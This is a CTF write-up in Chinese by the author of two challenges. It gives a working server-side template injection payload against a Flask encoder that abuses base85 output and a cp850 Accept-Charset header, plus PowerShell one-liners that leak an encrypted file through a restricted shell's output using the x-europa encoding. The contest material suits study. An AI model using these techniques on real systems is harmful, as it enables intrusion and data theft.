2024 CGGC CTF Final Writeup

這次幫國網中心的CGGC 網路守護者挑戰賽出題,總共出了兩題 medium ,分別是 webConvertermisccat flag

Web

Converter

這是一個編碼的網站,可以編碼和解碼 base16 / base32 / base64 / base85 等不同網站
後端是使用 Flask 寫的,為了防止 SSTI ,在 render_template_string 之前我把一些地方 HTML encode

encodeinput 會被 HTML encode
decodeinputresult 都會被 HTML encode

1
2
3
4
5
6
7
return render_template_string(
RESULT_TEMPLATE.format(
input_data=data, # 皆會被 HTMLencode
conversion_type=conversion_type,
action=action,
result=result # 只有 decode 時會被 HTMLencode
))

因此,想要 SSTI 就只剩下把東西拿去 encode 之後變成怪怪的東西了,那什麼狀況下 encode 會跑出怪怪的東西呢?其實去查一下四種編碼應該就可以很快發現 base85 的 index table 有可以利用的東西({}),但這樣其實還是不夠的,因為如果想要構造出 {}input 會需要傳入不存在的字元,偏偏 URL encoding 又只會解碼特定的 binary data

那怎麼辦呢,其實在 encoding 的時候還有第二個可控的地方,那就是 Accept-Charset

1
2
3
4
5
6
encoding = request.headers.get('Accept-Charset','utf-8')
for i in ['utf','ascii','latin','windows','cp']:
if i in encoding:
break
else:
return jsonify({"error": "Unsupported encoding"}), 400

後端會根據輸入的 charset 去將傳入的資料 encode (但是僅限比較常見系列的編碼)

1
2
elif conversion_type == "base85":
result = base64.b85encode(data.encode(encoding)).decode(encoding)

有了這兩個可控的地方,我們就可以找到幾種編碼方式,把不存在的編碼變成存在的字元當成輸入, fuzz 一下就可以找出有效的 payload
我這邊是使用 cp850 去想辦法構造出 {{config}} ,最後找到 qX%15rx%15▒Bà└│ 可以弄出 aaa{{config}}1

最終 payload

1
2
3
4
POST /api/convert HTTP/1.1
Accept-Charset: cp850

data=qX%15rx%15▒Bà└│&conversion_type=base85&action=encode

flag: CGGC{'ÞÑ┐Õ▒àÕ▒àÞÑ┐ÞÑ┐Þ©óެƵ£ì'.encode('cp850').decode('utf-8')}

後記

我看到超多人交的 flag 是把中間那坨拿去 decode 變成 CGGC{西居居西西踢誒服} ,然後發現不會過又改成 CGGC{CGGCCTF} / CGGC{cggcctf} 最後才交上面的,超級好笑我很抱歉抱歉ㄉ心

Misc

Cat Flag

這題是給使用者一個 powershell ,將 flag 寫在圖片裡面,透過 AES-CBC 加密後放在資料夾裡面(我會給密碼),參賽者要想辦法用 powershell 偷出 flag

未免也太簡單了對吧?所以我加了一些限制:

  1. 不能連網,對外連線通通 DROP
  2. 指令長度不能超過 512 個字元
  3. 輸出字元數量不能超過檔案本身大小
  4. 每個 instancer 只能輸入一行指令
  5. 每次重開 instancer 都會用不同密碼加密

所以,想要弄出 flag 只剩下一條路了,那就是 cat flag

但要怎麼輸出呢?大家馬上聯想到的應該都會是 Base64 ,但是其實 base64 會把資料變成大胖呆(原本8個一組的資料變成6個一組),所以比賽現場就會看到一堆人弄出來的圖片長這樣:

flag 咧?在下面被切掉了

我預期的解法有兩種:

  1. base64 切片抓下來,因為有給密碼了,所以可以透過第一組的明文使用第二組的密碼反向加密回去再和第二組的下半身合併成完整的圖片(這邊是 CBC 的 block cipher 所以要注意不要切爛了會有 padding 的問題)
  2. 因為是限制 char 所以可以想辦法把每個 byte 轉成自訂的寬字節就可以一次輸出整個檔案了,但是他又有限制指令只能 512 char ,所以可以找一下有沒有什麼內建的編碼方式是可以涵蓋到大部分的組合,然後在自訂沒涵蓋到的編碼就可以了,我這邊是用一個古老的編碼 X-Europa 把檔案 print 出來

編碼:

1
$bytes = [System.IO.File]::ReadAllBytes("cat.flag");$compressedStream = New-Object System.IO.MemoryStream;$result="";$encoding=[System.Text.Encoding]::GetEncoding("x-europa");ForEach ($byte in $bytes){if ($byte -eq 0){$result+="嗨"}elseif($byte -eq 127){$result+="哈"}else{$result+=$encoding.GetString($byte)}};$result

解碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

$encodedResult = $result

$encoding = [System.Text.Encoding]::GetEncoding("x-europa")

$decodedBytes = New-Object System.Collections.Generic.List[byte]

$i = 0
while ($i -lt $encodedResult.Length) {
if ($encodedResult.Substring($i, 1) -eq "嗨") {
$decodedBytes.Add(0)
$i += 1
}
elseif ($encodedResult.Substring($i, 1) -eq "哈") {
$decodedBytes.Add(127)
$i += 1
}
else {
$char = $encodedResult.Substring($i, 1)
$byte = $encoding.GetBytes($char)[0]
$decodedBytes.Add($byte)
$i += 1
}
}
[System.IO.File]::WriteAllBytes("flag.enc",$decodedBytes)
openssl enc -d -aes-256-cbc -pbkdf2 -in flag.enc -out flag.jpg -k $password

弄出來的資料大概會長這樣:

1
Salted__◀¶8ήρêWΒ▲À§§Τ║ΞÓCΖ↕É3$Ôoο│Ϋ*á‼αύ,{┘ÇÕyPUΪχZ\æUΰal!ë;ΞΈ>♬΄8nÆsÂΰηUv0Z·HO¡λg◘│.~┘ώ↕òΥbQ▼ΖΉPÜΎüκχ┘ΎÄ:q─É└xνϊî/'ηΊ5ίïΐ?èΘQν>γ0b*kςO6Dv└║Aïί&t◙ºω$↕°δ΄§ΥäΤnΆ1ö♂CοJ▼♪;βJΥΧ(ä.óhώ═2ÅE%δÕ◙◙╝G^Ό!ψ♂M○J╚¿9ºYΥΠΟÍ\○TAlérνyΦβ*Äλz¡'Ξίê→ÍìΦöίς║7Ñ+_☼/v/Θàξ4GΣLάæS♬6+FρθΕÑRôsÓτδ/┘YØàÅ¿Νό Bωy→Ήχ4e"χÅηαH哈θόψώvu8cçãvßή═PqΏ-‼ΗÂ─ϊΉ│↕τUEÊ║Ά9ώΗέΘDèe&哈ÖÍιwφή◙pάεΕé"╚ËP)9◙╝嗨áω▼0↓哈▲ί→SΔεTSòk£όÕΜÄΡ^┐L%♂oοÑΥüμñΤηòύΡút^ÀΓVRεδ↑ξΰ)Ü○═eN│Ú$b+$°ϊ3ö▲Σçν┐IN♂õΨΈ7z←[:)éÁ8♪◙ºöQMΰν┘QsσΉ♪↑IρΜYΊº°üï·jr↓S'ε‼ηζς¡4اΈΟÅ-╝τÚσBΗ?BΙ/x←+Äa♬`g/ϋΟΤëK║]Êãω←ΏÀ£_¡αóÂΰÍ^α└zϋp╔Nï·øáâ2ΘËΌΛÀLL%tÕÓDλmI◘ΦÊ↑ξK-^ë+,\γÄrßP─óÊhη"4♂♬ί:ρ"Iã6jÑΔΌª┌§/[O]αüöΔÂ╚┐:0õ1♂ύBθοÀÑBghϋRsºÀ哈F"▼◘îΜaί;q╔ΞώΧΡBÚ┌·F7哈ύφ哈 μø<À΄)ªö─¿ÁΧτ╔ΦhρMnζΡØz◘cªÆΥêΕ"à_FΣ]Τοπ.Λr♬┌ØΓ#♂έ║Xá¶Ή↔ÂΒώ8/fSV@υÍÕfΓ3ζΚE·όϊ1ãA+|'ËÑς↓hO┘h╚a"|ïâ9Ά!èàdÉg═xΙóæeΪñήR#<ñ4'4õUΈά→Ξα◘ù,äέ;?H│},π7aΒ◀η║χΏ\x◙e1ώÂÂ@Vΐx‼6ΛÅzφ&ύÉâ○όeΑι<─@¶ΐΊu+°ΟªεΝΞΑΙd=7öÅ═+ßÁ\îΙ|嗨f£ΛñùΨßWÂ=΄*·eO,΄άω@XΨC,ìñu΄t JÄ▲dîîóîωI.ρѶæuùÍπGôΡαjìΗù↑õ=ώûΑêηTæ{ÍNVroKüΆώg<euÂΠα`ήξ↓Αkό♬+§ÔόxW▲Ά*ζΘΧΰãΌ╗Læ+ ┐ρü0΄mlϊ4┌Ι]υêαφb¿Οό│]:\ìιΛ y¶άΜ(HúÅY§◘#ÃΕφàS嗨Æù↓Ëê9Gώæ.▼NΖJχ╚Pαè┐@Á(£nÂeìº↓maq§Ν0nØûEÚÕh哈kDGaíυ↔ó@SmabΰκTL‼/Ξy`♀sΠ{mΉKENeΒΏκΥΆ<Γ¶!▶@╗┌MÀϋVv¿$i↕Í↑aUEΈx◀^οΌûP╚◀àMϊk@▲£çèAÄvzÆNæÇέλ9ω▲xt嗨ª└ΓnîAθάï#Ηè↕à |y╚έãΤόGjρt·ρø↓r↑Éκtåς1y=É♀1A΄ω=╝┐ΞΠN0éïζΜ◘π|F╔óüα╗ΈôΊ↑υZξΞ_3Ñ♀ξöΟæºψζΜ╚Ãææΰωå♀λΗÆ5nτ♪è5°¡ΨºvΪGΛΜώΒΣ1öΝq╝öôοψW4èaσΝDΤÓs┘o╔=│¶ÉΌ♂ϋcëάbάΔÍbνü┐Ι&ΥTEυBΉϋ↔8ιîΡ═Í!ΆΔΌ+¶2öτ◙zΧΕ[<→,ΆòcÄj-Óf£7Q▶N)ΗΜ>92kκêΫ`↔tφβ┘JwìÇ^ÅX|Τ7~3ê4└Ϋz£ÅκysΏ Y▼ΞôuË\UΜOÄοΉIoíΖB/ZΦΙΝVqwFAXΣ|:╝?έ╝iBV$ΧΫαYn΄a↔ΙBÂ-$Ά▼ι═Mεμλ¶ Ψóύá┌νÓÔ┘▲0σ←R¶εFWω↑sψ?.â#δ§ί┌ΓΉay£%]ΣÁUΟtÖUζνξ/ÔyöC☼╚M▼=;Ι"8─ÄUÖÑΫãΐ>δ4ξή:ΣβºόΛΒ~║O↓Lΐύw"χ♂-↓ÚnèωrÅí◘ΜÚíVtΰ(ΓZPΚiê9FήΟ°r─σ◀ί♬?¿ΓόhXEΈ,υm;

後記

這題是用 @chummy 的 CTF Instancer 架的,會依序動態開 100 個 port給大家連 instancer ,結果有某海狗直接狂戳 port 幫大家把 instancer 都關起來(我完全沒想到可以這樣玩QQ)

後來臨時加了驗證 CTFd Token 的機制,感謝賽博水電工 Chummy 現場幫 instancer 加新功能,然後兩個人在那邊寫爛扣

作者

TriangleSnake

發表於

2024-12-07

更新於

2024-12-07

許可協議

評論